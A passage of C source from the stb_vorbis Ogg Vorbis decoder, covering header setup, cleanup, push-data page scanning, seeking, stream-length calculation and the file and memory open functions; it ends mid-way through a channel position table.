r->residue_books[j][k] = get_bits(f, 8);
if (r->residue_books[j][k] >= f->codebook_count) return error(f, VORBIS_invalid_setup);
} else {
r->residue_books[j][k] = -1;
}
}
}
// precompute the classifications[] array to avoid inner-loop mod/divide
// call it 'classdata' since we already have r->classifications
r->classdata = (uint8 **) setup_malloc(f, sizeof(*r->classdata) * f->codebooks[r->classbook].entries);
if (!r->classdata) return error(f, VORBIS_outofmem);
memset(r->classdata, 0, sizeof(*r->classdata) * f->codebooks[r->classbook].entries);
for (j=0; j < f->codebooks[r->classbook].entries; ++j) {
int classwords = f->codebooks[r->classbook].dimensions;
int temp = j;
r->classdata[j] = (uint8 *) setup_malloc(f, sizeof(r->classdata[j][0]) * classwords);
if (r->classdata[j] == NULL) return error(f, VORBIS_outofmem);
for (k=classwords-1; k >= 0; --k) {
r->classdata[j][k] = temp % r->classifications;
temp /= r->classifications;
}
}
}
f->mapping_count = get_bits(f,6)+1;
f->mapping = (Mapping *) setup_malloc(f, f->mapping_count * sizeof(*f->mapping));
if (f->mapping == NULL) return error(f, VORBIS_outofmem);
memset(f->mapping, 0, f->mapping_count * sizeof(*f->mapping));
for (i=0; i < f->mapping_count; ++i) {
Mapping *m = f->mapping + i;
int mapping_type = get_bits(f,16);
if (mapping_type != 0) return error(f, VORBIS_invalid_setup);
m->chan = (MappingChannel *) setup_malloc(f, f->channels * sizeof(*m->chan));
if (m->chan == NULL) return error(f, VORBIS_outofmem);
if (get_bits(f,1))
m->submaps = get_bits(f,4)+1;
else
m->submaps = 1;
if (m->submaps > max_submaps)
max_submaps = m->submaps;
if (get_bits(f,1)) {
m->coupling_steps = get_bits(f,8)+1;
if (m->coupling_steps > f->channels) return error(f, VORBIS_invalid_setup);
for (k=0; k < m->coupling_steps; ++k) {
m->chan[k].magnitude = get_bits(f, ilog(f->channels-1));
m->chan[k].angle = get_bits(f, ilog(f->channels-1));
if (m->chan[k].magnitude >= f->channels) return error(f, VORBIS_invalid_setup);
if (m->chan[k].angle >= f->channels) return error(f, VORBIS_invalid_setup);
if (m->chan[k].magnitude == m->chan[k].angle) return error(f, VORBIS_invalid_setup);
}
} else
m->coupling_steps = 0;
// reserved field
if (get_bits(f,2)) return error(f, VORBIS_invalid_setup);
if (m->submaps > 1) {
for (j=0; j < f->channels; ++j) {
m->chan[j].mux = get_bits(f, 4);
if (m->chan[j].mux >= m->submaps) return error(f, VORBIS_invalid_setup);
}
} else
// @SPECIFICATION: this case is missing from the spec
for (j=0; j < f->channels; ++j)
m->chan[j].mux = 0;
for (j=0; j < m->submaps; ++j) {
get_bits(f,8); // discard
m->submap_floor[j] = get_bits(f,8);
m->submap_residue[j] = get_bits(f,8);
if (m->submap_floor[j] >= f->floor_count) return error(f, VORBIS_invalid_setup);
if (m->submap_residue[j] >= f->residue_count) return error(f, VORBIS_invalid_setup);
}
}
// Modes
f->mode_count = get_bits(f, 6)+1;
for (i=0; i < f->mode_count; ++i) {
Mode *m = f->mode_config+i;
m->blockflag = get_bits(f,1);
m->windowtype = get_bits(f,16);
m->transformtype = get_bits(f,16);
m->mapping = get_bits(f,8);
if (m->windowtype != 0) return error(f, VORBIS_invalid_setup);
if (m->transformtype != 0) return error(f, VORBIS_invalid_setup);
if (m->mapping >= f->mapping_count) return error(f, VORBIS_invalid_setup);
}
flush_packet(f);
f->previous_length = 0;
for (i=0; i < f->channels; ++i) {
f->channel_buffers[i] = (float *) setup_malloc(f, sizeof(float) * f->blocksize_1);
f->previous_window[i] = (float *) setup_malloc(f, sizeof(float) * f->blocksize_1/2);
f->finalY[i] = (int16 *) setup_malloc(f, sizeof(int16) * longest_floorlist);
if (f->channel_buffers[i] == NULL || f->previous_window[i] == NULL || f->finalY[i] == NULL) return error(f, VORBIS_outofmem);
memset(f->channel_buffers[i], 0, sizeof(float) * f->blocksize_1);
#ifdef STB_VORBIS_NO_DEFER_FLOOR
f->floor_buffers[i] = (float *) setup_malloc(f, sizeof(float) * f->blocksize_1/2);
if (f->floor_buffers[i] == NULL) return error(f, VORBIS_outofmem);
#endif
}
if (!init_blocksize(f, 0, f->blocksize_0)) return FALSE;
if (!init_blocksize(f, 1, f->blocksize_1)) return FALSE;
f->blocksize[0] = f->blocksize_0;
f->blocksize[1] = f->blocksize_1;
#ifdef STB_VORBIS_DIVIDE_TABLE
if (integer_divide_table[1][1]==0)
for (i=0; i < DIVTAB_NUMER; ++i)
for (j=1; j < DIVTAB_DENOM; ++j)
integer_divide_table[i][j] = i / j;
#endif
// compute how much temporary memory is needed
// 1.
{
uint32 imdct_mem = (f->blocksize_1 * sizeof(float) >> 1);
uint32 classify_mem;
int i,max_part_read=0;
for (i=0; i < f->residue_count; ++i) {
Residue *r = f->residue_config + i;
unsigned int actual_size = f->blocksize_1 / 2;
unsigned int limit_r_begin = r->begin < actual_size ? r->begin : actual_size;
unsigned int limit_r_end = r->end < actual_size ? r->end : actual_size;
int n_read = limit_r_end - limit_r_begin;
int part_read = n_read / r->part_size;
if (part_read > max_part_read)
max_part_read = part_read;
}
#ifndef STB_VORBIS_DIVIDES_IN_RESIDUE
classify_mem = f->channels * (sizeof(void*) + max_part_read * sizeof(uint8 *));
#else
classify_mem = f->channels * (sizeof(void*) + max_part_read * sizeof(int *));
#endif
// maximum reasonable partition size is f->blocksize_1
f->temp_memory_required = classify_mem;
if (imdct_mem > f->temp_memory_required)
f->temp_memory_required = imdct_mem;
}
if (f->alloc.alloc_buffer) {
assert(f->temp_offset == f->alloc.alloc_buffer_length_in_bytes);
// check if there's enough temp memory so we don't error later
if (f->setup_offset + sizeof(*f) + f->temp_memory_required > (unsigned) f->temp_offset)
return error(f, VORBIS_outofmem);
}
// @TODO: stb_vorbis_seek_start expects first_audio_page_offset to point to a page
// without PAGEFLAG_continued_packet, so this either points to the first page, or
// the page after the end of the headers. It might be cleaner to point to a page
// in the middle of the headers, when that's the page where the first audio packet
// starts, but we'd have to also correctly skip the end of any continued packet in
// stb_vorbis_seek_start.
if (f->next_seg == -1) {
f->first_audio_page_offset = stb_vorbis_get_file_offset(f);
} else {
f->first_audio_page_offset = 0;
}
return TRUE;
}
static void vorbis_deinit(stb_vorbis *p)
{
int i,j;
setup_free(p, p->vendor);
for (i=0; i < p->comment_list_length; ++i) {
setup_free(p, p->comment_list[i]);
}
setup_free(p, p->comment_list);
if (p->residue_config) {
for (i=0; i < p->residue_count; ++i) {
Residue *r = p->residue_config+i;
if (r->classdata) {
for (j=0; j < p->codebooks[r->classbook].entries; ++j)
setup_free(p, r->classdata[j]);
setup_free(p, r->classdata);
}
setup_free(p, r->residue_books);
}
}
if (p->codebooks) {
CHECK(p);
for (i=0; i < p->codebook_count; ++i) {
Codebook *c = p->codebooks + i;
setup_free(p, c->codeword_lengths);
setup_free(p, c->multiplicands);
setup_free(p, c->codewords);
setup_free(p, c->sorted_codewords);
// c->sorted_values[-1] is the first entry in the array
setup_free(p, c->sorted_values ? c->sorted_values-1 : NULL);
}
setup_free(p, p->codebooks);
}
setup_free(p, p->floor_config);
setup_free(p, p->residue_config);
if (p->mapping) {
for (i=0; i < p->mapping_count; ++i)
setup_free(p, p->mapping[i].chan);
setup_free(p, p->mapping);
}
CHECK(p);
for (i=0; i < p->channels && i < STB_VORBIS_MAX_CHANNELS; ++i) {
setup_free(p, p->channel_buffers[i]);
setup_free(p, p->previous_window[i]);
#ifdef STB_VORBIS_NO_DEFER_FLOOR
setup_free(p, p->floor_buffers[i]);
#endif
setup_free(p, p->finalY[i]);
}
for (i=0; i < 2; ++i) {
setup_free(p, p->A[i]);
setup_free(p, p->B[i]);
setup_free(p, p->C[i]);
setup_free(p, p->window[i]);
setup_free(p, p->bit_reverse[i]);
}
#ifndef STB_VORBIS_NO_STDIO
if (p->close_on_free) fclose(p->f);
#endif
}
void stb_vorbis_close(stb_vorbis *p)
{
if (p == NULL) return;
vorbis_deinit(p);
setup_free(p,p);
}
static void vorbis_init(stb_vorbis *p, const stb_vorbis_alloc *z)
{
memset(p, 0, sizeof(*p)); // NULL out all malloc'd pointers to start
if (z) {
p->alloc = *z;
p->alloc.alloc_buffer_length_in_bytes = (p->alloc.alloc_buffer_length_in_bytes+3) & ~3;
p->temp_offset = p->alloc.alloc_buffer_length_in_bytes;
}
p->eof = 0;
p->error = VORBIS__no_error;
p->stream = NULL;
p->codebooks = NULL;
p->page_crc_tests = -1;
#ifndef STB_VORBIS_NO_STDIO
p->close_on_free = FALSE;
p->f = NULL;
#endif
}
int stb_vorbis_get_sample_offset(stb_vorbis *f)
{
if (f->current_loc_valid)
return f->current_loc;
else
return -1;
}
stb_vorbis_info stb_vorbis_get_info(stb_vorbis *f)
{
stb_vorbis_info d;
d.channels = f->channels;
d.sample_rate = f->sample_rate;
d.setup_memory_required = f->setup_memory_required;
d.setup_temp_memory_required = f->setup_temp_memory_required;
d.temp_memory_required = f->temp_memory_required;
d.max_frame_size = f->blocksize_1 >> 1;
return d;
}
stb_vorbis_comment stb_vorbis_get_comment(stb_vorbis *f)
{
stb_vorbis_comment d;
d.vendor = f->vendor;
d.comment_list_length = f->comment_list_length;
d.comment_list = f->comment_list;
return d;
}
int stb_vorbis_get_error(stb_vorbis *f)
{
int e = f->error;
f->error = VORBIS__no_error;
return e;
}
static stb_vorbis * vorbis_alloc(stb_vorbis *f)
{
stb_vorbis *p = (stb_vorbis *) setup_malloc(f, sizeof(*p));
return p;
}
#ifndef STB_VORBIS_NO_PUSHDATA_API
void stb_vorbis_flush_pushdata(stb_vorbis *f)
{
f->previous_length = 0;
f->page_crc_tests = 0;
f->discard_samples_deferred = 0;
f->current_loc_valid = FALSE;
f->first_decode = FALSE;
f->samples_output = 0;
f->channel_buffer_start = 0;
f->channel_buffer_end = 0;
}
static int vorbis_search_for_page_pushdata(vorb *f, uint8 *data, int data_len)
{
int i,n;
for (i=0; i < f->page_crc_tests; ++i)
f->scan[i].bytes_done = 0;
// if we have room for more scans, search for them first, because
// they may cause us to stop early if their header is incomplete
if (f->page_crc_tests < STB_VORBIS_PUSHDATA_CRC_COUNT) {
if (data_len < 4) return 0;
data_len -= 3; // need to look for 4-byte sequence, so don't miss
// one that straddles a boundary
for (i=0; i < data_len; ++i) {
if (data[i] == 0x4f) {
if (0==memcmp(data+i, ogg_page_header, 4)) {
int j,len;
uint32 crc;
// make sure we have the whole page header
if (i+26 >= data_len || i+27+data[i+26] >= data_len) {
// only read up to this page start, so hopefully we'll
// have the whole page header start next time
data_len = i;
break;
}
// ok, we have it all; compute the length of the page
len = 27 + data[i+26];
for (j=0; j < data[i+26]; ++j)
len += data[i+27+j];
// scan everything up to the embedded crc (which we must 0)
crc = 0;
for (j=0; j < 22; ++j)
crc = crc32_update(crc, data[i+j]);
// now process 4 0-bytes
for ( ; j < 26; ++j)
crc = crc32_update(crc, 0);
// len is the total number of bytes we need to scan
n = f->page_crc_tests++;
f->scan[n].bytes_left = len-j;
f->scan[n].crc_so_far = crc;
f->scan[n].goal_crc = data[i+22] + (data[i+23] << 8) + (data[i+24]<<16) + (data[i+25]<<24);
// if the last frame on a page is continued to the next, then
// we can't recover the sample_loc immediately
if (data[i+27+data[i+26]-1] == 255)
f->scan[n].sample_loc = ~0;
else
f->scan[n].sample_loc = data[i+6] + (data[i+7] << 8) + (data[i+ 8]<<16) + (data[i+ 9]<<24);
f->scan[n].bytes_done = i+j;
if (f->page_crc_tests == STB_VORBIS_PUSHDATA_CRC_COUNT)
break;
// keep going if we still have room for more
}
}
}
}
for (i=0; i < f->page_crc_tests;) {
uint32 crc;
int j;
int n = f->scan[i].bytes_done;
int m = f->scan[i].bytes_left;
if (m > data_len - n) m = data_len - n;
// m is the bytes to scan in the current chunk
crc = f->scan[i].crc_so_far;
for (j=0; j < m; ++j)
crc = crc32_update(crc, data[n+j]);
f->scan[i].bytes_left -= m;
f->scan[i].crc_so_far = crc;
if (f->scan[i].bytes_left == 0) {
// does it match?
if (f->scan[i].crc_so_far == f->scan[i].goal_crc) {
// Houston, we have page
data_len = n+m; // consumption amount is wherever that scan ended
f->page_crc_tests = -1; // drop out of page scan mode
f->previous_length = 0; // decode-but-don't-output one frame
f->next_seg = -1; // start a new page
f->current_loc = f->scan[i].sample_loc; // set the current sample location
// to the amount we'd have decoded had we decoded this page
f->current_loc_valid = f->current_loc != ~0U;
return data_len;
}
// delete entry
f->scan[i] = f->scan[--f->page_crc_tests];
} else {
++i;
}
}
return data_len;
}
// return value: number of bytes we used
int stb_vorbis_decode_frame_pushdata(
stb_vorbis *f, // the file we're decoding
const uint8 *data, int data_len, // the memory available for decoding
int *channels, // place to write number of float * buffers
float ***output, // place to write float ** array of float * buffers
int *samples // place to write number of output samples
)
{
int i;
int len,right,left;
if (!IS_PUSH_MODE(f)) return error(f, VORBIS_invalid_api_mixing);
if (f->page_crc_tests >= 0) {
*samples = 0;
return vorbis_search_for_page_pushdata(f, (uint8 *) data, data_len);
}
f->stream = (uint8 *) data;
f->stream_end = (uint8 *) data + data_len;
f->error = VORBIS__no_error;
// check that we have the entire packet in memory
if (!is_whole_packet_present(f)) {
*samples = 0;
return 0;
}
if (!vorbis_decode_packet(f, &len, &left, &right)) {
// save the actual error we encountered
enum STBVorbisError error = f->error;
if (error == VORBIS_bad_packet_type) {
// flush and resynch
f->error = VORBIS__no_error;
while (get8_packet(f) != EOP)
if (f->eof) break;
*samples = 0;
return (int) (f->stream - data);
}
if (error == VORBIS_continued_packet_flag_invalid) {
if (f->previous_length == 0) {
// we may be resynching, in which case it's ok to hit one
// of these; just discard the packet
f->error = VORBIS__no_error;
while (get8_packet(f) != EOP)
if (f->eof) break;
*samples = 0;
return (int) (f->stream - data);
}
}
// if we get an error while parsing, what to do?
// well, it DEFINITELY won't work to continue from where we are!
stb_vorbis_flush_pushdata(f);
// restore the error that actually made us bail
f->error = error;
*samples = 0;
return 1;
}
// success!
len = vorbis_finish_frame(f, len, left, right);
for (i=0; i < f->channels; ++i)
f->outputs[i] = f->channel_buffers[i] + left;
if (channels) *channels = f->channels;
*samples = len;
*output = f->outputs;
return (int) (f->stream - data);
}
stb_vorbis *stb_vorbis_open_pushdata(
const unsigned char *data, int data_len, // the memory available for decoding
int *data_used, // only defined if result is not NULL
int *error, const stb_vorbis_alloc *alloc)
{
stb_vorbis *f, p;
vorbis_init(&p, alloc);
p.stream = (uint8 *) data;
p.stream_end = (uint8 *) data + data_len;
p.push_mode = TRUE;
if (!start_decoder(&p)) {
if (p.eof)
*error = VORBIS_need_more_data;
else
*error = p.error;
vorbis_deinit(&p);
return NULL;
}
f = vorbis_alloc(&p);
if (f) {
*f = p;
*data_used = (int) (f->stream - data);
*error = 0;
return f;
} else {
vorbis_deinit(&p);
return NULL;
}
}
#endif // STB_VORBIS_NO_PUSHDATA_API
unsigned int stb_vorbis_get_file_offset(stb_vorbis *f)
{
#ifndef STB_VORBIS_NO_PUSHDATA_API
if (f->push_mode) return 0;
#endif
if (USE_MEMORY(f)) return (unsigned int) (f->stream - f->stream_start);
#ifndef STB_VORBIS_NO_STDIO
return (unsigned int) (ftell(f->f) - f->f_start);
#endif
}
#ifndef STB_VORBIS_NO_PULLDATA_API
//
// DATA-PULLING API
//
static uint32 vorbis_find_page(stb_vorbis *f, uint32 *end, uint32 *last)
{
for(;;) {
int n;
if (f->eof) return 0;
n = get8(f);
if (n == 0x4f) { // page header candidate
unsigned int retry_loc = stb_vorbis_get_file_offset(f);
int i;
// check if we're off the end of a file_section stream
if (retry_loc - 25 > f->stream_len)
return 0;
// check the rest of the header
for (i=1; i < 4; ++i)
if (get8(f) != ogg_page_header[i])
break;
if (f->eof) return 0;
if (i == 4) {
uint8 header[27];
uint32 i, crc, goal, len;
for (i=0; i < 4; ++i)
header[i] = ogg_page_header[i];
for (; i < 27; ++i)
header[i] = get8(f);
if (f->eof) return 0;
if (header[4] != 0) goto invalid;
goal = header[22] + (header[23] << 8) + (header[24]<<16) + (header[25]<<24);
for (i=22; i < 26; ++i)
header[i] = 0;
crc = 0;
for (i=0; i < 27; ++i)
crc = crc32_update(crc, header[i]);
len = 0;
for (i=0; i < header[26]; ++i) {
int s = get8(f);
crc = crc32_update(crc, s);
len += s;
}
if (len && f->eof) return 0;
for (i=0; i < len; ++i)
crc = crc32_update(crc, get8(f));
// finished parsing probable page
if (crc == goal) {
// we could now check that it's either got the last
// page flag set, OR it's followed by the capture
// pattern, but I guess TECHNICALLY you could have
// a file with garbage between each ogg page and recover
// from it automatically? So even though that paranoia
// might decrease the chance of an invalid decode by
// another 2^32, not worth it since it would hose those
// invalid-but-useful files?
if (end)
*end = stb_vorbis_get_file_offset(f);
if (last) {
if (header[5] & 0x04)
*last = 1;
else
*last = 0;
}
set_file_offset(f, retry_loc-1);
return 1;
}
}
invalid:
// not a valid page, so rewind and look for next one
set_file_offset(f, retry_loc);
}
}
}
#define SAMPLE_unknown 0xffffffff
// seeking is implemented with a binary search, which narrows down the range to
// 64K, before using a linear search (because finding the synchronization
// pattern can be expensive, and the chance we'd find the end page again is
// relatively high for small ranges)
//
// two initial interpolation-style probes are used at the start of the search
// to try to bound either side of the binary search sensibly, while still
// working in O(log n) time if they fail.
static int get_seek_page_info(stb_vorbis *f, ProbedPage *z)
{
uint8 header[27], lacing[255];
int i,len;
// record where the page starts
z->page_start = stb_vorbis_get_file_offset(f);
// parse the header
getn(f, header, 27);
if (header[0] != 'O' || header[1] != 'g' || header[2] != 'g' || header[3] != 'S')
return 0;
getn(f, lacing, header[26]);
// determine the length of the payload
len = 0;
for (i=0; i < header[26]; ++i)
len += lacing[i];
// this implies where the page ends
z->page_end = z->page_start + 27 + header[26] + len;
// read the last-decoded sample out of the data
z->last_decoded_sample = header[6] + (header[7] << 8) + (header[8] << 16) + (header[9] << 24);
// restore file state to where we were
set_file_offset(f, z->page_start);
return 1;
}
// rarely used function to seek back to the preceding page while finding the
// start of a packet
static int go_to_page_before(stb_vorbis *f, unsigned int limit_offset)
{
unsigned int previous_safe, end;
// now we want to seek back 64K from the limit
if (limit_offset >= 65536 && limit_offset-65536 >= f->first_audio_page_offset)
previous_safe = limit_offset - 65536;
else
previous_safe = f->first_audio_page_offset;
set_file_offset(f, previous_safe);
while (vorbis_find_page(f, &end, NULL)) {
if (end >= limit_offset && stb_vorbis_get_file_offset(f) < limit_offset)
return 1;
set_file_offset(f, end);
}
return 0;
}
// implements the search logic for finding a page and starting decoding. if
// the function succeeds, current_loc_valid will be true and current_loc will
// be less than or equal to the provided sample number (the closer the
// better).
static int seek_to_sample_coarse(stb_vorbis *f, uint32 sample_number)
{
ProbedPage left, right, mid;
int i, start_seg_with_known_loc, end_pos, page_start;
uint32 delta, stream_length, padding, last_sample_limit;
double offset = 0.0, bytes_per_sample = 0.0;
int probe = 0;
// find the last page and validate the target sample
stream_length = stb_vorbis_stream_length_in_samples(f);
if (stream_length == 0) return error(f, VORBIS_seek_without_length);
if (sample_number > stream_length) return error(f, VORBIS_seek_invalid);
// this is the maximum difference between the window-center (which is the
// actual granule position value), and the right-start (which the spec
// indicates should be the granule position (give or take one)).
padding = ((f->blocksize_1 - f->blocksize_0) >> 2);
if (sample_number < padding)
last_sample_limit = 0;
else
last_sample_limit = sample_number - padding;
left = f->p_first;
while (left.last_decoded_sample == ~0U) {
// (untested) the first page does not have a 'last_decoded_sample'
set_file_offset(f, left.page_end);
if (!get_seek_page_info(f, &left)) goto error;
}
right = f->p_last;
assert(right.last_decoded_sample != ~0U);
// starting from the start is handled differently
if (last_sample_limit <= left.last_decoded_sample) {
if (stb_vorbis_seek_start(f)) {
if (f->current_loc > sample_number)
return error(f, VORBIS_seek_failed);
return 1;
}
return 0;
}
while (left.page_end != right.page_start) {
assert(left.page_end < right.page_start);
// search range in bytes
delta = right.page_start - left.page_end;
if (delta <= 65536) {
// there's only 64K left to search - handle it linearly
set_file_offset(f, left.page_end);
} else {
if (probe < 2) {
if (probe == 0) {
// first probe (interpolate)
double data_bytes = right.page_end - left.page_start;
bytes_per_sample = data_bytes / right.last_decoded_sample;
offset = left.page_start + bytes_per_sample * (last_sample_limit - left.last_decoded_sample);
} else {
// second probe (try to bound the other side)
double error = ((double) last_sample_limit - mid.last_decoded_sample) * bytes_per_sample;
if (error >= 0 && error < 8000) error = 8000;
if (error < 0 && error > -8000) error = -8000;
offset += error * 2;
}
// ensure the offset is valid
if (offset < left.page_end)
offset = left.page_end;
if (offset > right.page_start - 65536)
offset = right.page_start - 65536;
set_file_offset(f, (unsigned int) offset);
} else {
// binary search for large ranges (offset by 32K to ensure
// we don't hit the right page)
set_file_offset(f, left.page_end + (delta / 2) - 32768);
}
if (!vorbis_find_page(f, NULL, NULL)) goto error;
}
for (;;) {
if (!get_seek_page_info(f, &mid)) goto error;
if (mid.last_decoded_sample != ~0U) break;
// (untested) no frames end on this page
set_file_offset(f, mid.page_end);
assert(mid.page_start < right.page_start);
}
// if we've just found the last page again then we're in a tricky file,
// and we're close enough (if it wasn't an interpolation probe).
if (mid.page_start == right.page_start) {
if (probe >= 2 || delta <= 65536)
break;
} else {
if (last_sample_limit < mid.last_decoded_sample)
right = mid;
else
left = mid;
}
++probe;
}
// seek back to start of the last packet
page_start = left.page_start;
set_file_offset(f, page_start);
if (!start_page(f)) return error(f, VORBIS_seek_failed);
end_pos = f->end_seg_with_known_loc;
assert(end_pos >= 0);
for (;;) {
for (i = end_pos; i > 0; --i)
if (f->segments[i-1] != 255)
break;
start_seg_with_known_loc = i;
if (start_seg_with_known_loc > 0 || !(f->page_flag & PAGEFLAG_continued_packet))
break;
// (untested) the final packet begins on an earlier page
if (!go_to_page_before(f, page_start))
goto error;
page_start = stb_vorbis_get_file_offset(f);
if (!start_page(f)) goto error;
end_pos = f->segment_count - 1;
}
// prepare to start decoding
f->current_loc_valid = FALSE;
f->last_seg = FALSE;
f->valid_bits = 0;
f->packet_bytes = 0;
f->bytes_in_seg = 0;
f->previous_length = 0;
f->next_seg = start_seg_with_known_loc;
for (i = 0; i < start_seg_with_known_loc; i++)
skip(f, f->segments[i]);
// start decoding (optimizable - this frame is generally discarded)
if (!vorbis_pump_first_frame(f))
return 0;
if (f->current_loc > sample_number)
return error(f, VORBIS_seek_failed);
return 1;
error:
// try to restore the file to a valid state
stb_vorbis_seek_start(f);
return error(f, VORBIS_seek_failed);
}
// the same as vorbis_decode_initial, but without advancing
static int peek_decode_initial(vorb *f, int *p_left_start, int *p_left_end, int *p_right_start, int *p_right_end, int *mode)
{
int bits_read, bytes_read;
if (!vorbis_decode_initial(f, p_left_start, p_left_end, p_right_start, p_right_end, mode))
return 0;
// either 1 or 2 bytes were read, figure out which so we can rewind
bits_read = 1 + ilog(f->mode_count-1);
if (f->mode_config[*mode].blockflag)
bits_read += 2;
bytes_read = (bits_read + 7) / 8;
f->bytes_in_seg += bytes_read;
f->packet_bytes -= bytes_read;
skip(f, -bytes_read);
if (f->next_seg == -1)
f->next_seg = f->segment_count - 1;
else
f->next_seg--;
f->valid_bits = 0;
return 1;
}
int stb_vorbis_seek_frame(stb_vorbis *f, unsigned int sample_number)
{
uint32 max_frame_samples;
if (IS_PUSH_MODE(f)) return error(f, VORBIS_invalid_api_mixing);
// fast page-level search
if (!seek_to_sample_coarse(f, sample_number))
return 0;
assert(f->current_loc_valid);
assert(f->current_loc <= sample_number);
// linear search for the relevant packet
max_frame_samples = (f->blocksize_1*3 - f->blocksize_0) >> 2;
while (f->current_loc < sample_number) {
int left_start, left_end, right_start, right_end, mode, frame_samples;
if (!peek_decode_initial(f, &left_start, &left_end, &right_start, &right_end, &mode))
return error(f, VORBIS_seek_failed);
// calculate the number of samples returned by the next frame
frame_samples = right_start - left_start;
if (f->current_loc + frame_samples > sample_number) {
return 1; // the next frame will contain the sample
} else if (f->current_loc + frame_samples + max_frame_samples > sample_number) {
// there's a chance the frame after this could contain the sample
vorbis_pump_first_frame(f);
} else {
// this frame is too early to be relevant
f->current_loc += frame_samples;
f->previous_length = 0;
maybe_start_packet(f);
flush_packet(f);
}
}
// the next frame should start with the sample
if (f->current_loc != sample_number) return error(f, VORBIS_seek_failed);
return 1;
}
int stb_vorbis_seek(stb_vorbis *f, unsigned int sample_number)
{
if (!stb_vorbis_seek_frame(f, sample_number))
return 0;
if (sample_number != f->current_loc) {
int n;
uint32 frame_start = f->current_loc;
stb_vorbis_get_frame_float(f, &n, NULL);
assert(sample_number > frame_start);
assert(f->channel_buffer_start + (int) (sample_number-frame_start) <= f->channel_buffer_end);
f->channel_buffer_start += (sample_number - frame_start);
}
return 1;
}
int stb_vorbis_seek_start(stb_vorbis *f)
{
if (IS_PUSH_MODE(f)) { return error(f, VORBIS_invalid_api_mixing); }
set_file_offset(f, f->first_audio_page_offset);
f->previous_length = 0;
f->first_decode = TRUE;
f->next_seg = -1;
return vorbis_pump_first_frame(f);
}
unsigned int stb_vorbis_stream_length_in_samples(stb_vorbis *f)
{
unsigned int restore_offset, previous_safe;
unsigned int end, last_page_loc;
if (IS_PUSH_MODE(f)) return error(f, VORBIS_invalid_api_mixing);
if (!f->total_samples) {
unsigned int last;
uint32 lo,hi;
char header[6];
// first, store the current decode position so we can restore it
restore_offset = stb_vorbis_get_file_offset(f);
// now we want to seek back 64K from the end (the last page must
// be at most a little less than 64K, but let's allow a little slop)
if (f->stream_len >= 65536 && f->stream_len-65536 >= f->first_audio_page_offset)
previous_safe = f->stream_len - 65536;
else
previous_safe = f->first_audio_page_offset;
set_file_offset(f, previous_safe);
// previous_safe is now our candidate 'earliest known place that seeking
// to will lead to the final page'
if (!vorbis_find_page(f, &end, &last)) {
// if we can't find a page, we're hosed!
f->error = VORBIS_cant_find_last_page;
f->total_samples = 0xffffffff;
goto done;
}
// check if there are more pages
last_page_loc = stb_vorbis_get_file_offset(f);
// stop when the last_page flag is set, not when we reach eof;
// this allows us to stop short of a 'file_section' end without
// explicitly checking the length of the section
while (!last) {
set_file_offset(f, end);
if (!vorbis_find_page(f, &end, &last)) {
// the last page we found didn't have the 'last page' flag
// set. whoops!
break;
}
previous_safe = last_page_loc+1;
last_page_loc = stb_vorbis_get_file_offset(f);
}
set_file_offset(f, last_page_loc);
// parse the header
getn(f, (unsigned char *)header, 6);
// extract the absolute granule position
lo = get32(f);
hi = get32(f);
if (lo == 0xffffffff && hi == 0xffffffff) {
f->error = VORBIS_cant_find_last_page;
f->total_samples = SAMPLE_unknown;
goto done;
}
if (hi)
lo = 0xfffffffe; // saturate
f->total_samples = lo;
f->p_last.page_start = last_page_loc;
f->p_last.page_end = end;
f->p_last.last_decoded_sample = lo;
done:
set_file_offset(f, restore_offset);
}
return f->total_samples == SAMPLE_unknown ? 0 : f->total_samples;
}
float stb_vorbis_stream_length_in_seconds(stb_vorbis *f)
{
return stb_vorbis_stream_length_in_samples(f) / (float) f->sample_rate;
}
int stb_vorbis_get_frame_float(stb_vorbis *f, int *channels, float ***output)
{
int len, right,left,i;
if (IS_PUSH_MODE(f)) return error(f, VORBIS_invalid_api_mixing);
if (!vorbis_decode_packet(f, &len, &left, &right)) {
f->channel_buffer_start = f->channel_buffer_end = 0;
return 0;
}
len = vorbis_finish_frame(f, len, left, right);
for (i=0; i < f->channels; ++i)
f->outputs[i] = f->channel_buffers[i] + left;
f->channel_buffer_start = left;
f->channel_buffer_end = left+len;
if (channels) *channels = f->channels;
if (output) *output = f->outputs;
return len;
}
#ifndef STB_VORBIS_NO_STDIO
stb_vorbis * stb_vorbis_open_file_section(FILE *file, int close_on_free, int *error, const stb_vorbis_alloc *alloc, unsigned int length)
{
stb_vorbis *f, p;
vorbis_init(&p, alloc);
p.f = file;
p.f_start = (uint32) ftell(file);
p.stream_len = length;
p.close_on_free = close_on_free;
if (start_decoder(&p)) {
f = vorbis_alloc(&p);
if (f) {
*f = p;
vorbis_pump_first_frame(f);
return f;
}
}
if (error) *error = p.error;
vorbis_deinit(&p);
return NULL;
}
stb_vorbis * stb_vorbis_open_file(FILE *file, int close_on_free, int *error, const stb_vorbis_alloc *alloc)
{
unsigned int len, start;
start = (unsigned int) ftell(file);
fseek(file, 0, SEEK_END);
len = (unsigned int) (ftell(file) - start);
fseek(file, start, SEEK_SET);
return stb_vorbis_open_file_section(file, close_on_free, error, alloc, len);
}
stb_vorbis * stb_vorbis_open_filename(const char *filename, int *error, const stb_vorbis_alloc *alloc)
{
FILE *f;
#if defined(_WIN32) && defined(__STDC_WANT_SECURE_LIB__)
if (0 != fopen_s(&f, filename, "rb"))
f = NULL;
#else
f = fopen(filename, "rb");
#endif
if (f)
return stb_vorbis_open_file(f, TRUE, error, alloc);
if (error) *error = VORBIS_file_open_failure;
return NULL;
}
#endif // STB_VORBIS_NO_STDIO
stb_vorbis * stb_vorbis_open_memory(const unsigned char *data, int len, int *error, const stb_vorbis_alloc *alloc)
{
stb_vorbis *f, p;
if (data == NULL) return NULL;
vorbis_init(&p, alloc);
p.stream = (uint8 *) data;
p.stream_end = (uint8 *) data + len;
p.stream_start = (uint8 *) p.stream;
p.stream_len = len;
p.push_mode = FALSE;
if (start_decoder(&p)) {
f = vorbis_alloc(&p);
if (f) {
*f = p;
vorbis_pump_first_frame(f);
if (error) *error = VORBIS__no_error;
return f;
}
}
if (error) *error = p.error;
vorbis_deinit(&p);
return NULL;
}
#ifndef STB_VORBIS_NO_INTEGER_CONVERSION
#define PLAYBACK_MONO 1
#define PLAYBACK_LEFT 2
#define PLAYBACK_RIGHT 4
#define L (PLAYBACK_LEFT | PLAYBACK_MONO)
#define C (PLAYBACK_LEFT | PLAYBACK_RIGHT | PLAYBACK_MONO)
#define R (PLAYBACK_RIGHT | PLAYBACK_MONO)
static int8 channel_position[7][6] =
{
{ 0 },
{ C },
{ L, R },
{ L, C, R },
{ L, R, L, R },
{ L, C, R, L, R },
{ L, C, R, L, R, C },
};
